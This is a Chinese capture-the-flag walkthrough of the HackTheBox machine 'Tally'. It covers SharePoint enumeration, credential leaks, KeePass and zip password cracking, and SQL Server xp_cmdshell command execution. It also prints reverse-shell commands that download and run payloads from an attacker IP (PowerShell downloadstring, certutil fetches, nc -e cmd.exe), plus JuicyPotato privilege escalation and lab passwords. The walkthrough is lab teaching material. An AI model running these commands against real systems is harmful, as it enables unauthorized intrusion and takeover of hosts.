Tally是一个困难的靶机,知识点涉及SharePoint信息收集、KeePass解密、密码破解、SQL server命令执行
烂土豆内核提权等。感兴趣的同学可以在HackTheBox中进行学习。
通关思维导图
0x01 侦查
端口探测
首先通过nmap对目标进行端口扫描
nmap -Pn -p- -sV -sC -A 10.10.10.59 -oA nmap_Tally
扫描结果显示目标开放许多端口,包括21、80、81、135、139、445、1433等
80端口
访问http://10.10.10.59,是 SharePoint 应用界面,它是 Microsoft Office 集成的用于文档管
理存储以及共享的web协作平台。
由于该站点的特殊性,我们可使用专门的 SharePoint 字典进行目录扫描
gobuster dir -u http://10.10.10.59 -w /usr/share/wordlists/SecLists/Discov
ery/Web-Content/CMS/sharepoint.txt
成功扫描到两个文件:/sitedirectory/_layouts/viewlsts.aspx和/shared documents/forms/allitems.aspx
信息收集
访问viewlsts.aspx,是 SharePoint 的站点文档管理界面。其中包含Documents、Site Assets
Site Pages、Site Library这几个项目目录
在Documents下查看文件ftp-details,该文件名可说明里面存在ftp的详细内容
文件内容如下,果不其然拿到主机名、工作组以及密码
hostname: tally
workgroup: htb.local
password: UTDRSCH53c"$6hys
Please create your own user folder upon logging in
在Site Pages下查看Finance Team
成功在信中找到登陆账号ftp_user
ftp登陆
既然有了账号密码ftp_user/UTDRSCH53c"$6hys,那么我们可直接登录 ftp 服务
ftp 10.10.10.59
ftp > ls
在 User 目录中发现多个用户文件夹,其中 Sarah 用户目录下存在 notes.txt
ftp > cd User
ftp > cd Sarah
ftp > get notes.txt
成功下载 notes.txt,发现提示已完成事项:安装 SharePoint、待办事项:卸载 SQL server 2016
cat notes.txt
Tim 用户目录下则存在 tim.kdbx,kdbx为 Keepass 数据库,我们可对其进行密码破解
ftp > cd User
ftp > cd Tim
ftp > cd Files
ftp > get tim.kdbx
KeePass密码破解
使用 keepss2john 将 kdbx 文件转换成可识别的哈希值
keepass2john tim.kdbx > tim.hash
使用 john 进行哈希破解,但是一直没破解成功
john tim.hash --wordlist=/usr/share/wordlists/rockyou.txt
经过分析后发现原来是使用ftp下载文件时传输会导致部分文件信息丢失在图中可以看到靶机中的原
文件有 2222 bytes,但下载至本地后却只有 2220 bytes
由于ftp下载出错,因此我们可通过网页的方式将 tim.kdbx 下载至本地
两者对比后大小发现确实相差 2 bytes
重新使用 hashcat 进行破解
hashcat -m 13400 tim.hash /usr/share/wordlists/rockyou.txt
成功破解密码为simplementeyo,接下来使用 keepass2 打开它,输入密码后按ctrl+h显示其中内容
keepass2 tim.kdbx
获得smb共享路径为 ACCT,用户名为 Finance,密码为 Acc0unting
0x02 上线[sarah]
smb登陆
使用以上账号密码Finance/Acc0unting借助 smbclient 登录smb服务
smbclient \\\\10.10.10.59\\ACCT -U Finance
在\zz_Archived\SQL下发现数据库连接配置文件:conn-info.txt
smb > cd zz_Archived
smb > cd SQL
smb > ls
smb > get conn-info.txt
查看文件后发现确实存在数据库连接信息,根据信息我们可知数据库类型为 SQL server但可惜
的是文本中已提示密码被修改
db: sa
pass: YE%TJC%&HYbe5Nw
zip密码破解
在\zz_Migration\Backup\20170808\orcharddb\目录下发现zip压缩包文件:orcharddb.zip
由于下载后无法直接解压,因此需要使用 frackzip 对该zip文件进行密码破解
fcrackzip -D -u -p /usr/share/wordlists/rockyou.txt orcharddb.zip
成功破解密码为 Acc0unting,结果发现与登陆密码一致。通过 unzip 输入密码解压该 zip 文件
在解压出来的 sql 文件中发现账号密码为admin/Finance2,但根据之前的提示我们发现其实它是 Orchard CMS
的登陆信息,实际上 Orchard CMS 已经被替换为 SharePoint
unzip orcharddb.zip
SQL server命令执行
在\zz_Migration\Binaries\New folder\目录中发现exe文件:test.exe
使用 strings 查看该程序,其中居然存在数据库的账号密码,为sa/GWE3V65#6KFH93@4GWTG2G
strings tester.exe
使用 spsh 通过以上账号密码连接 SQL server 数据库
sqsh -S 10.10.10.59 -U sa
开启命令执行 xp_cmdshell
# 查看相关参数
SQL > EXEC SP_CONFIGURE N'show advanced options',1;
SQL > go
SQL > RECONFIGURE;
SQL > go
# 修改xp_cmdshell参数
SQL > EXEC SP_CONFIGURE N'xp_cmdshell',1;
SQL > go
SQL > RECONFIGURE;
SQL > go
通过 xp_cmdshell 查看用户和系统信息
SQL > xp_cmdshell 'whoami'
SQL > go
SQL > xp_cmdshell 'cd c:\ & systeminfo'
SQL > go
由于该工具使用太过繁琐,我们可尝试使用 MSF 中的 mssql_exec 模块来进行数据库操作
反弹shell
首先使用 MSF 在本地开启监听
msfconsole
msf > use exploit/multi/script/web_delivery
msf > set target 3
msf > set lhost 10.10.14.3
msf > set srvhost 10.10.14.3
msf > set payload windows/meterpreter/reverse_tcp
msf > exploit
利用命令模块 mssql_exec 获取反弹shell,但是并没有收到反弹信息
msfconsole
msf > use auxiliary/admin/mssql/mssql_exec
msf > set rhosts 10.10.10.59
msf > set password GWE3V65#6KFH93@4GWTG2G
msf > set cmd "regsvr\3\2 /s /n /u /i:http://10.10.14.3:8080/KZ9S4yvqHdmyO.sct scrobj.dll"
msf > run
于是切换 nishang 中的 Invoke-PowerShellTcp.ps1 脚本进行反弹
cp /root/Desktop/nishang/Shells/Invoke-PowerShellTcp.ps1 .
将反弹的地址和端口添加到该脚本下,同时开启 http 服务
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.3 -Port 5555
在本地监听5555端口
nc -nvlp 5555
设置SQL语句使用之前的工具完成命令执行
xp_cmdshell "powershell -c iex(new-object net.webclient).downloadstring
('http://10.10.14.3/Invoke-PowerShellTcp.ps1')"
成功获取到反弹shell,在当前用户桌面寻找第一个flag
dir C:\Users\Sarah\Desktop
type C:\Users\Sarah\Desktop\user.txt
type C:\Users\Sarah\Desktop\todo.txt
成功拿到第一个flag,与此同时发现提示信息已完成:安装更新、查看防火墙是否可用;未完成:更新内网设计、更新服务器库存
0x03 权限提升[system]
信息收集
查看系统信息发现目标系统为 Windows Server 2016
systeminfo
使用 Windows-Exploit-Suggester 查找相关漏洞,但是结果显示无法识别
python windows-exploit-suggester.py --database 2021-05-18-mssb.xls --systeminfo systeminfo.txt
烂土豆提权
虽然无法获得内核提权建议,但是老方法 Juicy Potato 还是支持对 Windows Sever 2016 进行提权
具体参考:https://github.com/ohpe/juicy-potato/tree/master/CLSID
在本地开启nc监听
nc -nvlp 7777
传输 nc 和 JuicyPotato 并执行提权命令,结果显示似乎失败:没有权限进入
cd c:\windows\temp
certutil.exe -urlcache -f http://10.10.14.3/JuicyPotato.exe C:\WINDOWS\TEMP\JuicyPotato.exe
certutil.exe -urlcache -f http://10.10.14.3/nc.exe C:\WINDOWS\TEMP\nc.exe
C:\WINDOWS\TEMP\JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c C:\WINDOW
S\TEMP\nc.exe -e cmd.exe 10.10.14.3 7777" -t *
于是切换到C:\users\public目录下再次执行
cd C:\users\public
certutil.exe -urlcache -f http://10.10.14.3/JuicyPotato.exe C:\users\public\JuicyPotato.exe
certutil.exe -urlcache -f http://10.10.14.3/nc.exe C:\users\public\nc.exe
C:\users\public\JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c C:\users\pu
blic\nc.exe -e cmd.exe 10.10.14.3 7777" -t *
执行后成功拿到反弹shell,在管理员桌面上寻找第二个flag
dir C:\Users\Administrator\Desktop
type C:\Users\Administrator\Desktop\root.txt
成功拿到第二个flag
总结
在站点SharePoint中存在信息泄漏:文件中包含ftp账号和密码,通过该账号密码登陆ftp服务,在其中发现kdbx文件和
提示信息在使用ftp传输kdbx文件时出现问题,使用http协议下载该文件。使用hashcat破解KeePass密码,在kdbx数据
库中发现存储的账号密码。通过该账号密码登陆smb服务,smb中包含许多干扰项:数据库连接文件、zip压缩文件拿到
的敏感信息都根据提示信息发现已无用。而突破点则是test.exe文件,通过string命令发现程序中内置数据库账号密码这
和CTF中的misc题型这么相似?通过拿到的数据库账号密码登陆SQL server,借助xp_cmdshell命令执行拿到反弹shell
在靶机中经过信息收集发现靶机系统为Windows Server 2016,使用内核漏洞查询无果,尝试烂土豆可成功将权限提升
至系统权限。